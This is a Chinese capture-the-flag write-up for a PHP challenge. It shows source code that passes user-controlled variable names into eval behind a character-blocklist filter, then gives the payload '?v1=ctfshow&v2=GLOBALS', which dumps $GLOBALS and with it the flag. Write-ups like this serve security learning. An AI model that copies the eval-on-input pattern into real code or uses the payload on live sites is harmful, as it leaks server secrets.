CTF-31解题思路

<div class="markdown-body editormd-preview-container" previewcontainer="true" style="padding: 20px;"><h3 id="h3--"><a name="源码分析：" class="reference-link"></a><span class="header-link octicon octicon-link"></span>源码分析：</h3><pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code class="lang-php"><span class="pun">&lt;?</span><span class="pln">php</span></code></li><li class="L1"><code class="lang-php"><span class="pln">highlight_file</span><span class="pun">(</span><span class="pln">__FILE__</span><span class="pun">);</span></code></li><li class="L2"><code class="lang-php"><span class="pln">error_reporting</span><span class="pun">(</span><span class="lit">0</span><span class="pun">);</span><span class="pln"> include</span><span class="pun">(</span><span class="str">"flag.php"</span><span class="pun">);</span></code></li><li class="L3"><code class="lang-php"><span class="kwd">function</span><span class="pln"> getFlag</span><span class="pun">(&amp;</span><span class="pln">$v1</span><span class="pun">,&amp;</span><span class="pln">$v2</span><span class="pun">)</span></code></li><li class="L4"><code class="lang-php"><span class="pln"> </span><span class="pun">{</span></code></li><li class="L5"><code class="lang-php"><span class="pln">     </span><span class="kwd">eval</span><span class="pun">(</span><span class="str">"$$v1 = &amp;$$v2;"</span><span class="pun">);</span></code></li><li class="L6"><code class="lang-php"><span class="pln">     var_dump</span><span class="pun">(</span><span class="pln">$$v1</span><span class="pun">);</span><span class="pln"> </span></code></li><li class="L7"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span></code></li><li class="L8"><code class="lang-php"><span class="kwd">if</span><span class="pun">(</span><span class="pln">isset</span><span class="pun">(</span><span class="pln">$_GET</span><span class="pun">[</span><span class="str">'v1'</span><span class="pun">])</span><span class="pln"> </span><span class="pun">&amp;&amp;</span><span class="pln"> isset</span><span class="pun">(</span><span class="pln">$_GET</span><span class="pun">[</span><span class="str">'v2'</span><span class="pun">]))</span></code></li><li class="L9"><code class="lang-php"><span class="pln"> </span><span class="pun">{</span></code></li><li class="L0"><code class="lang-php"><span class="pln">     $v1 </span><span class="pun">=</span><span class="pln"> $_GET</span><span class="pun">[</span><span class="str">'v1'</span><span class="pun">];</span></code></li><li class="L1"><code class="lang-php"><span class="pln">     $v2 </span><span class="pun">=</span><span class="pln"> $_GET</span><span class="pun">[</span><span class="str">'v2'</span><span class="pun">];</span><span class="pln"> </span></code></li><li class="L2"><code class="lang-php"><span class="pln">     </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">preg_match</span><span class="pun">(</span><span class="str">'/\~| |\`|\!|\@|\#|\\$|\%|\^|\&amp;|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\&lt;|\&gt;/'</span><span class="pun">,</span><span class="pln"> $v1</span><span class="pun">))</span></code></li><li class="L3"><code class="lang-php"><span class="pln">     </span><span class="pun">{</span></code></li><li class="L4"><code class="lang-php"><span class="pln">         </span><span class="kwd">die</span><span class="pun">(</span><span class="str">"error v1"</span><span class="pun">);</span></code></li><li class="L5"><code class="lang-php"><span class="pln">     </span><span class="pun">}</span><span class="pln"> </span></code></li><li class="L6"><code class="lang-php"><span class="pln">    </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">preg_match</span><span class="pun">(</span><span class="str">'/\~| |\`|\!|\@|\#|\\$|\%|\^|\&amp;|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\&lt;|\&gt;/'</span><span class="pun">,</span><span class="pln"> $v2</span><span class="pun">))</span></code></li><li class="L7"><code class="lang-php"><span class="pln">    </span><span class="pun">{</span></code></li><li class="L8"><code class="lang-php"><span class="pln">        </span><span class="kwd">die</span><span class="pun">(</span><span class="str">"error v2"</span><span class="pun">);</span></code></li><li class="L9"><code class="lang-php"><span class="pln">    </span><span class="pun">}</span><span class="pln"> </span></code></li><li class="L0"><code class="lang-php"><span class="pln">    </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">preg_match</span><span class="pun">(</span><span class="str">'/ctfshow/'</span><span class="pun">,</span><span class="pln"> $v1</span><span class="pun">))</span></code></li><li class="L1"><code class="lang-php"><span class="pln">    </span><span class="pun">{</span><span class="com">//规定v1的值</span></code></li><li class="L2"><code class="lang-php"><span class="pln">        getFlag</span><span class="pun">(</span><span class="pln">$v1</span><span class="pun">,</span><span class="pln">$v2</span><span class="pun">);</span><span class="pln"> </span></code></li><li class="L3"><code class="lang-php"><span class="pln">     </span><span class="pun">}</span><span class="pln"> </span></code></li><li class="L4"><code class="lang-php"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span></code></li><li class="L5"><code class="lang-php"><span class="pun">?&gt;</span></code></li></ol></pre>
<h3 id="h3-u4EE3u7801u5BA1u8BA1u53EFu77E5"><a name="代码审计可知" class="reference-link"></a><span class="header-link octicon octicon-link"></span>代码审计可知</h3><p><strong>利用全局变量来实现输出</strong><br><code>v1=ctfshow</code></p>
<p><code>v2=GLOBALS</code><br><code>ctfshow=&amp;GLOBALS</code><strong>此时</strong><code>ctfshow</code><strong>的指向就是全局变量的指向，于其具有了相同的作用，那么此时</strong><code>vardump(ctfshow)</code><strong>就是</strong><code>var_dump$GLOBALS</code></p>
<h2 id="h2-payload-"><a name="payload：" class="reference-link"></a><span class="header-link octicon octicon-link"></span>payload：</h2><pre class="prettyprint linenums prettyprinted" style=""><ol class="linenums"><li class="L0"><code><span class="pun">?</span><span class="pln">v1</span><span class="pun">=</span><span class="pln">ctfshow</span><span class="pun">&amp;</span><span class="pln">v2</span><span class="pun">=</span><span class="pln">GLOBALS</span></code></li></ol></pre></div>